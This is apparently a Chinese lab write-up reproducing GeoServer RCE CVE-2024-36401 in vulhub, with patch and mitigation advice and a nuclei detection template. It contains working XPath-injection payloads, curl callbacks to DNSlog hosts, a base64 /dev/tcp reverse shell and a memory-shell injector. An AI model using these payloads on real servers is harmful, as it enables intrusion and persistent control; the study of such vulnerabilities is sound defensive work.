geoserver-CVE-2024-36401-远程代码执行


一、geoserver简介

GeoServer是一款由 GeoTools(GeoTools 是一个用于处理地理数据的 Java 库) 库驱动的,基于Java的开源地理信息服务器,遵循OGC开放标准(如WMS、WFS、WCS等),主要用于发布、管理和共享地理空间数据。它支持多种数据格式(包括PostGIS、Shapefile、GeoTIFF等),允许用户通过Web服务动态生成地图或直接传输矢量/栅格数据,并提供数据编辑(WFS-T)、样式定制(SLD)及缓存优化等功能。作为空间数据基础设施的核心组件,GeoServer可集成到Google Earth、OpenLayers等客户端,广泛应用于在线地图服务、资源管理和空间分析等领域。

  • fofa指纹:app="GeoServer"

二、CVE-2024-36401

2.1 概述

CVE-2024-36401是GeoServer中存在的高危远程代码执行漏洞,其CVSS评分为9.8。该漏洞源于GeoServer调用的GeoTools库在解析属性名称时,以不安全的方式将数据传递给commons-jxpath库,导致未经身份认证的攻击者可通过构造恶意请求(如WFS/WMS的特定OGC请求)注入恶意XPath表达式,从而在目标服务器上执行任意代码并获取控制权限。

2.2 影响版本

受影响的版本包括GeoServer 2.23.6之前、2.24.4之前和2.25.2之前的版本,即geoserver<=2.23.5,geoserver<=2.24.3,geoserver<=2.25.1。

官方已发布修复版本(如2.25.2、2.24.4等),建议用户升级或通过删除易受攻击的gt-complex-x.y.jar文件临时缓解风险。

三、漏洞复现

3.1 环境搭建

基于vulhub搭建2.23.2版本的geoserver服务。

[root@localhost CVE-2024-36401]# pwd
/root/vulhub/geoserver/CVE-2024-36401
[root@localhost CVE-2024-36401]# ls
1.png  2.png  3.png  docker-compose.yml  README.md  README.zh-cn.md
[root@localhost CVE-2024-36401]# cat docker-compose.yml 
version: '3'
services:
 web:
   image: vulhub/geoserver:2.23.2
   ports:
    - "8080:8080"
    - "5005:5005"
[root@localhost CVE-2024-36401]# 
docker compose up -d

拉取镜像报错

  • 报错信息
[root@localhost CVE-2024-36401]# docker compose up -d
WARN[0000] /root/vulhub/geoserver/CVE-2024-36401/docker-compose.yml: `version` is obsolete 
[+] Running 1/1
 ✘ web Error Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceede...           16.2s 
Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)
[root@localhost CVE-2024-36401]# 

镜像拉取失败。

  • 在mac本地拉取镜像并保存未tar包
(base)  ~  docker pull vulhub/geoserver:2.23.2
2.23.2: Pulling from vulhub/geoserver
1fe172e4850f: Pull complete
44d3aa8d0766: Pull complete
6ce99fdf16e8: Pull complete
514ad6c81b7a: Pull complete
4f4fb700ef54: Pull complete
Digest: sha256:e40446b89315788f66349a4a26e6998ee249e18b011f5597650632cf7f9efc24
Status: Downloaded newer image for vulhub/geoserver:2.23.2
docker.io/vulhub/geoserver:2.23.2
docker save vulhub/geoserver -o geoserver.tar
  • Centos7 加载镜像tar包
docker load -i geoserver.tar

重新构建环境:

docker compose up -d

3.2 访问测试

http://192.168.52.3:8080/geoserver/index.html

在进行漏洞复现时需要注意:typeNames必须存在,访问:/geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?3&filter=false或点击Layer Preview功能,查看当前服务器中的所有Types:

3.3 漏洞复现-DNSlog/touch文件

3.3.1 POST-POC

  • 用yakit生成一个域名:
  • 构造数据包ping 生成的域名
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Content-Type: application/xml
Content-Length: 339

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"ping mgjhnkbava.lfcx.eu.org")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

没有复现成功。

将ping命令换成curl命令复现成功。

POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Content-Type: application/xml
Content-Length: 339

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"curl mgjhnkbava.lfcx.eu.org")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
  • 构造数据包curl 访问kali的web服务

kali开启web服务

python3 -m http.server
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Content-Type: application/xml
Content-Length: 339

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"curl http://192.168.52.6:8000/hello")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

成功RCE,发送get请求到kali的web服务器。

  • 创建文件
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Content-Type: application/xml
Content-Length: 323

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"touch ./2.txt")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

成功创建文件。

3.3.2 GET-POC

curl命令后的空格用%20编码,否则复现不成功。

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'curl%20mcyubscrtx.zaza.eu.org') HTTP/1.1
Host: 192.168.52.3:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

3.4 反弹shell

sh -i >& /dev/tcp/192.168.52.6/8888 0>&1 #shell代码
c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC41Mi42Lzg4ODggMD4mMQ== #base64编码
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 379

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC41Mi42Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

成功反弹shell:

四、GUI利用工具

4.1 一键漏洞检测

4.2 一键反弹shell

填写ip和端口:

kali获取反弹连接:

4.3 一键注入内存马【jdk17注入内存马失败】

⚠️:geoserver.exe工具适用于低版本的jdk注入漏洞。

  • 输入漏洞url后直接点击注入内存马:

返回500 Server Error大概率表明是注入内存马失败了,注入成功应该返回的是400状态码。

  • 哥斯拉连接失败
  • 查看java版本:

jdk17注入内存马失败。

4.4 jmg 内存马【jdk17注入内存马失败】

java -jar jMG-gui-1.0.8.jar
POST /geoserver/wfs HTTP/1.1
Host: 192.168.52.3:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="内存马base64";
var bt;
try {
    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
    bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

将生成的内存马base64填入到var str="内存马base64";

但是注入失败,还是因为当前环境jdk版本过高的问题。参考下面的链接,jdk11是可以注入成功的。

jdk11注入内存马参考:https://yzddmr6.com/posts/geoserver-memoryshell/

4.5 GeoServer-Tools-CVE-2024-36401🌟🌟🌟

地址:https://github.com/bmth666/GeoServer-Tools-CVE-2024-36401

工具功能包括:通过dnslog查看jdk版本、命令执行、注入内存马。

4.5.1 dnslog获取jdk版本信息

前缀17.0.2标识jdk的版本。

4.5.2 执行命令

4.5.3 注入内存马

  • 注入内存马(jdk17注入内存马需要用提供jdk9+的javac编译工具代码)
  • 冰蝎连接

连接失败。

需要修改一下连接的路径:

http://192.168.52.3:8080/geoserver/123

成功连接。

五、nuclei-POC

编写nuclei-poc进行检测:

id: CVE-2024-36401-GeoServer-wfs-rce

info:
  name: GeoServer 远程代码执行漏洞(CVE-2024-36401)
  author: sixiaokai
  severity: critical
  description: GeoServer 远程代码执行漏洞(CVE-2024-36401)

http:
- raw:
  - |-
    @timeout: 30s
    POST /geoserver/wfs HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/xml
    Content-Length: 324

    <wfs:GetPropertyValue service='WFS' version='2.0.0'
     xmlns:topp='http://www.openplans.org/topp'
     xmlns:fes='http://www.opengis.net/fes/2.0'
     xmlns:wfs='http://www.opengis.net/wfs/2.0'
     valueReference='exec(java.lang.Runtime.getRuntime(),"touch /tmp/test.txt")'>
     <wfs:Query typeNames='topp:states'/>
    </wfs:GetPropertyValue>

  max-redirects: 3
  matchers-condition: and
  matchers:
      - type: status
        status:
          - 400
      - type: word
        words:
          - "java.lang.ClassCastException"

六、防御

6.1 修复建议

GeoServer已经发布先前版本的补丁,可以从下载页面(https://geoserver.org/)下载:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0,从下载的补丁中获取gt-app-schema和gt-complex和 gt-xsd-core jar文件,替换掉WEB-INF/lib里面对应的文件即可。

6.2 临时缓解措施

删除GeoServer 中gt-complex-x.y.jar文件(x.y为GeoTools 版本,例如GeoServer 2.25.1中是gt-complex-31.1.jar),这将从 GeoServer 中删除漏洞代码,但可能会破坏某些 GeoServer 功能。

参考


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录